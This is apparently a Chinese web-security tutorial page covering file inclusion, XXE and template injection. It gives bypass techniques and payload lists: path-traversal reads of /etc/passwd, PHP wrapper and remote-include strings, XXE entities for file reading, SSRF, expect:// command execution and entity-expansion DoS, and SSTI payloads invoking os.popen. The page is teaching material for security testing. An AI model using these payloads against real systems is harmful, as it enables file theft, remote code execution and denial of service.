中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

WEB安全中文件包含的知識點有哪些

發布時間:2022-01-17 11:05:39 來源:億速云 閱讀:115 作者:iii 欄目:大數據

本篇內容介紹了“WEB安全中文件包含的知識點有哪些”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

文件包含

3.8.1. 基礎

常見的文件包含漏洞的形式為 <?php include("inc/" . $_GET[\'file\']); ?>  

考慮常用的幾種包含方式為  

● 同目錄包含 file=.htaccess

● 目錄遍歷 ?file=../../../../../../../../../var/lib/locate.db

● 日志注入 ?file=../../../../../../../../../var/log/apache/error.log

● 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多種日志來源測試。


3.8.2. 繞過技巧

常見的應用在文件包含之前,可能會調用函數對其進行判斷,一般有如下幾種繞過方式。


3.8.2.1. url編碼繞過

如果WAF中是字符串匹配,可以使用url多次編碼的方式可以繞過。


3.8.2.2. 特殊字符繞過

● 某些情況下,讀文件支持使用Shell通配符,如 ? * 等

● url中 使用 ? # 可能會影響include包含的結果

● 某些情況下,unicode編碼不同但是字形相近的字符有同一個效果


3.8.2.3. %00截斷

幾乎是最常用的方法,條件是magic_quotes_gpc打開,而且php版本小于5.3.4。


3.8.2.4. 長度截斷

Windows上的文件名長度和文件路徑有關。具體關系為:從根目錄計算,文件路徑長度最長為259個bytes。

msdn定義“`#define MAX_PATH 260“`,第260個字符為字符串結尾的“`0“`  

linux可以用getconf來判斷文件名長度限制和文件路徑長度限制  

獲取最長文件路徑長度:getconf PATH_MAX /root 得到4096 獲取最長文件名:getconf NAME_MAX /root 得到255

那么在長度有限的時候,`././././` (n個) 的形式就可以通過這個把路徑爆掉

在php代碼包含中,這種繞過方式要求php版本 < php 5.2.8


3.8.2.5. 偽協議繞過

● 遠程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt

● PHP INPUT: 把payload放在POST參數中作為包含的文件,要求 allow_url_include=On ,payload為 ?file=php://input

● BASE64: 使用Base64偽協議讀取文件,payload為 ?file=php://filter/convert.base64-encode/resource=index.php

● DATA: 使用data偽協議讀取文件,payload為 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On


3.9

XXE


3.9.1. XML基礎

XML 指可擴展標記語言(eXtensible Markup Language),是一種用于標記電子文件使其具有結構性的標記語言,被設計用來傳輸和存儲數據。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。目前,XML文件作為配置文件(Spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較廣泛。


3.9.2. XXE

當允許引用外部實體時,可通過構造惡意的XML內容,導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等后果。一般的XXE攻擊,只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,但是也可以通過Blind XXE的方式實現攻擊。


3.9.3. 攻擊方式

3.9.3.1. 拒絕服務攻擊

<!DOCTYPE data [ 

<!ELEMENT data (#ANY)> 

<!ENTITY a0 "dos" > 

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> 

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> 

]> 

<data>&a2;</data>


若解析過程非常緩慢,則表示測試成功,目標站點可能有拒絕服務漏洞。具體攻擊可使用更多層的迭代或遞歸,也可引用巨大的外部實體,以實現攻擊的效果。


3.9.3.2. 文件讀取

<?xml version="1.0"?> 

<!DOCTYPE data [ 

<!ELEMENT data (#ANY)> 

<!ENTITY file SYSTEM "file:///etc/passwd"> 

]> 

<data>&file;</data>


3.9.3.3. SSRF

<?xml version="1.0"?> 

<!DOCTYPE data SYSTEM "http://publicServer.com/" [ 

<!ELEMENT data (#ANY)> 

]> 

<data>4</data>


3.9.3.4. RCE

<?xml version="1.0"?> 

<!DOCTYPE GVI [ <!ELEMENT foo ANY > 

<!ENTITY xxe SYSTEM "expect://id" >]> 

<catalog>    

       <core id="test101">       

         <description>&xxe;</description>    

     </core> 

</catalog>


3.9.3.5. XInclude

<?xml version=\'1.0\'?> 

<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:incl


3.10

模板注入漏洞


3.10.1. 簡介

模板引擎用于使用動態數據呈現內容。此上下文數據通常由用戶控制并由模板進行格式化,以生成網頁、電子郵件等。模板引擎通過使用代碼構造(如條件語句、循環等)處理上下文數據,允許在模板中使用強大的語言表達式,以呈現動態內容。如果攻擊者能夠控制要呈現的模板,則他們將能夠注入可暴露上下文數據,甚至在服務器上運行任意命令的表達式。


3.10.2. 測試方法

● 確定使用的引擎

● 查看引擎相關的文檔,確定其安全機制以及自帶的函數和變量

● 需找攻擊面,嘗試攻擊


3.10.3. 測試用例

● 簡單的數學表達式,{{ 7+7 }} => 14

● 字符串表達式 {{ "ajin" }} => ajin

● Ruby

<%= 7 * 7 %>

<%= File.open(\'/etc/passwd\').read %>

● Java

${7*7}

● Twig

{{7*7}}

● Smarty

{php}echo `id`;{/php}

● AngularJS

$eval(\'1+1\')

● Tornado

引用模塊 {% import module %}

=> {% import os %}{{ os.popen("whoami").read() }}

● Flask/Jinja2

{{ config.items() }}

{{\'\'.__class__.__mro__[-1].__subclasses__()}}

● Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html" %}

{% extends "x.html" %}


3.10.4. 目標

● 創建對象

● 文件讀寫

● 遠程文件包含

● 信息泄漏 提權


3.10.5. 相關屬性

3.10.5.1. __class__

python中的新式類(即顯示繼承object對象的類)都有一個屬性 __class__ 用于獲取當前實例對應的類,例如 "".__class__ 就可以獲取到字符串實例對應的類。


3.10.5.2. __mro__

python中類對象的 __mro__ 屬性會返回一個tuple對象,其中包含了當前類對象所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。


3.10.5.3. __globals__

保存了函數所有的所有全局變量,在利用中,可以使用 __init__ 獲取對象的函數,并通過 __globals__ 獲取 file os 等模塊以進行下一步的利用。


3.10.5.4. __subclasses__()

python的新式類都保留了它所有的子類的引用,__subclasses__() 這個方法返回了類的所有存活的子類的引用(是類對象引用,不是實例)。  


因為python中的類都是繼承object的,所以只要調用object類對象的 __subclasses__() 方法就可以獲取想要的類的對象。


3.10.6. 常見Payload

● ().__class__.__bases__[0].__subclasses__()[40](r\'/etc/passwd\').read()

● ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13][\'eval\'](\'__import__("os").popen("ls /").read()\' )


3.10.7. 繞過技巧

3.10.7.1. 字符串拼接

request[\'__cl\'+\'ass__\'].__base__.__base__.__base__[\'__subcla\'+\'sses__\']()[60]


3.10.7.2. 使用參數繞過

params = {     

    \'clas\': \'__class__\',    

    \'mr\': \'__mro__\',     

 \'subc\': \'__subclasses__\' 

data = {     

  "data": "{{\'\'[request.args.clas][request.args.mr][1][request.args.subc]()}}" 

r = requests.post(url, params=params, data=data) 

print(r.text)

“WEB安全中文件包含的知識點有哪些”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

绩溪县| 萍乡市| 阿拉善右旗| 台东市| 昭通市| 阳新县| 大城县| 华宁县| 广汉市| 白沙| 光泽县| 玛纳斯县| 马山县| 黎城县| 平湖市| 蓝山县| 延边| 灵寿县| 乐陵市| 错那县| 车险| 崇礼县| 通辽市| 顺义区| 凉城县| 托里县| 武功县| 云梦县| 新干县| 呼伦贝尔市| 大丰市| 霍林郭勒市| 达拉特旗| 兰州市| 贵南县| 澄迈县| 南通市| 黄骅市| 鹤峰县| 三都| 呼玛县|